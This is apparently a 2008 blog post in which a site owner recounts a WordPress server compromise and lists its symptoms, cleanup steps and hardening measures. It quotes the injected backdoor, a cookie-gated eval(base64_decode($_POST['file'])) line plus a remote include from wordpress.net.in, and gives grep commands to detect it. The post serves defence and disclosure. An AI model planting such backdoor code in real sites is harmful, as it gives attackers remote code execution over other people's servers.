WordPress security
My server was recently subject to a hack attack. In some senses it was pretty serious—many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).
Needless to say, I’ve been forced to quickly learn a lot about web security, and I’ve been grateful to be forced to do so without major losses. I’ll try and document some useful things I’ve learned here.
The hack
I’m not sure anyone’s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.
With the recent release of WP 2.5, there have been some sharp warnings about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.
In the end, all my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I’ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by .htaccess logins) were compromised. In any case, the lesson here is clear: keep all WP installations on any server you run upgraded to the latest version.
The signs of the attack are quite distinct. It’s documented on the WP forum and by other people. Here’s my summary of my experience:
- New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called
taxonomy.php, there might be a new file calledtaxonomy_old.phportaxonomy_new.php. Other common new names included image-like extensions, e.g.crop.php.pnggorwlw_old.php.giff. - The main WP
index.phpchanged to look like this:
<?php if(md5($_COOKIE['_wp_debugger'])==
"[long hash string here]"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
/* Short and sweet */
if (isset($_GET['license'])) {
@include(’http://wordpress.net.in/license.txt’);
} else {
define(’WP_USE_THEMES’, true);
require(’./wp-blog-header.php’);
}
?> - That top line of PHP code was inserted into many other files.
- A new user account could be found in the
wp_usertable, username “WordPress”. Apparently it doesn’t show up in the WP admin screen—check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, inwp_usermeta, along with other entries that didn’t have a corresponding account inwp_user. - In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.
Apparently another common sign of this attack is the appearance of files named wp-info.txt (containing passwords and so on that have been discovered by the above scripts). I didn’t get this, but watch for this too.
Cleaning up
- First, using phpMyAdmin, delete the “WordPress” entry from
wp_userand its corresponding entries inwp_usermeta. Also delete all entries inwp_usermetawhere theuser_idvalue doesn’t correspond to a legitimate account inwp_user. - SSH into your server and search for offending code. I found the following commands useful:
grep –recursive “eval(base64_decode($_POST['file']));” *
grep –recursive “http://wordpress.net.in/license.txt” *
grep –recursive “find suid files” *
These search all files (
*) in all sub-directories (--recursive, with two dashes—WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. This guy has some other goodies. - Remove all offending files, via FTP or SSH (see above link).
Securing WordPress
Obviously, upgrade all installations to the latest version. This might make the last step redundant, but of course you should preserve your wp-content directory (while thoroughly scanning those files for hacked code).
Then do the following:
- With all of the following, use strong random passwords. Of course they needn’t be as long as the ones on the page I’ve linked to, but it’s a good place to grab however many characters you need.
- Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.
- Change the default admin account username in all WP installations to something other than “admin”. You’ll need to do this via phpMyAdmin—change the
user_loginfield. - Change all WP user account passwords.
- Heck, change any other passwords too (like FTP).
- Change the default
wp_prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP’s in the same database. That’s possible (but not ideal). Really, the main benefit is so hackers don’t know what your database tables are called. Richard LeCour has a good guide to this, and there’s even a plugin. Here’s my summary of the manual method:- Change value of the
$table_prefixvariable inwp-config.php. I use a string of 5 or so characters from the password page. - In phpMyAdmin, on the main page for the database in question, click the ‘SQL’ tab. Use the following code to change the table names. (Obviously adjust for any other
wp_-prefixed tables, e.g. tables created by various plugins.)
RENAME TABLE wp_comments TO [your prefix here]_comments;
RENAME TABLE wp_links TO [your prefix here]_links;
RENAME TABLE wp_options TO [your prefix here]_options;
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;
RENAME TABLE wp_posts TO [your prefix here]_posts;
RENAME TABLE wp_terms TO [your prefix here]_terms;
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;
RENAME TABLE wp_users TO [your prefix here]_users;Note: I’ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g.
wp_posts. You’ll need to change any instances of the same habit in your code using$wpdb->prefix. For instance, this:$sql = “SELECT ID, post_title FROM wp_posts WHERE post_status = ‘publish’”;
Should become:
$sql = “SELECT ID, post_title FROM “.$wpdb->prefix.”posts WHERE post_status = ‘publish’”;
Most plugins use this to remain portable, but you might want to search your plugins for hard-coded
wp_’s too. - In the
optionstable, change theoption_namecalledwp_user_rolesto have your new prefix instead ofwp_. - Likewise for all
meta_keyvalues in theusermetatable that start withwp_.
- Change value of the
- Finally, re-do the
grepSSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.
My server’s been fine since doing all these things (though I’m touching wood now). Hopefully this’ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.
Here’s some more resources on WordPress that I’m still absorbing:
- Hardening WordPress
- BlogSecurity.net: WordPress (see especially their WordPress Security Whitepaper)
WordPress 2.5
I’m really pleased with the new version of WordPress—great interface improvements, and it seems much nippier. However, I thought a curious new addition to the wp-config.php file could have done with some documentation, or some attention drawn to it. You’ll find this in 2.5’s new file:
// Change SECRET_KEY to a unique phrase. You won’t have to remember it later,
// so make it long and complicated. You can visit https://www.grc.com/passwords.htm
// to get a phrase generated for you, or just make something up.
define(’SECRET_KEY’, ‘put your unique phrase here’); // Change this to a unique phrase.
Some people have missed this, apparently exposing themselves to the one 2.5 vulnerability I’ve heard of so far. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.
One more non-security note about the new wp-config.php file. If you upgrade to 2.5 and find your blog content’s got loads of garbled characters in it, the culprit is probably this new line:
define(’DB_CHARSET’, ‘utf8′);
Comment it out like this:
//define(’DB_CHARSET’, ‘utf8′);
Good luck!
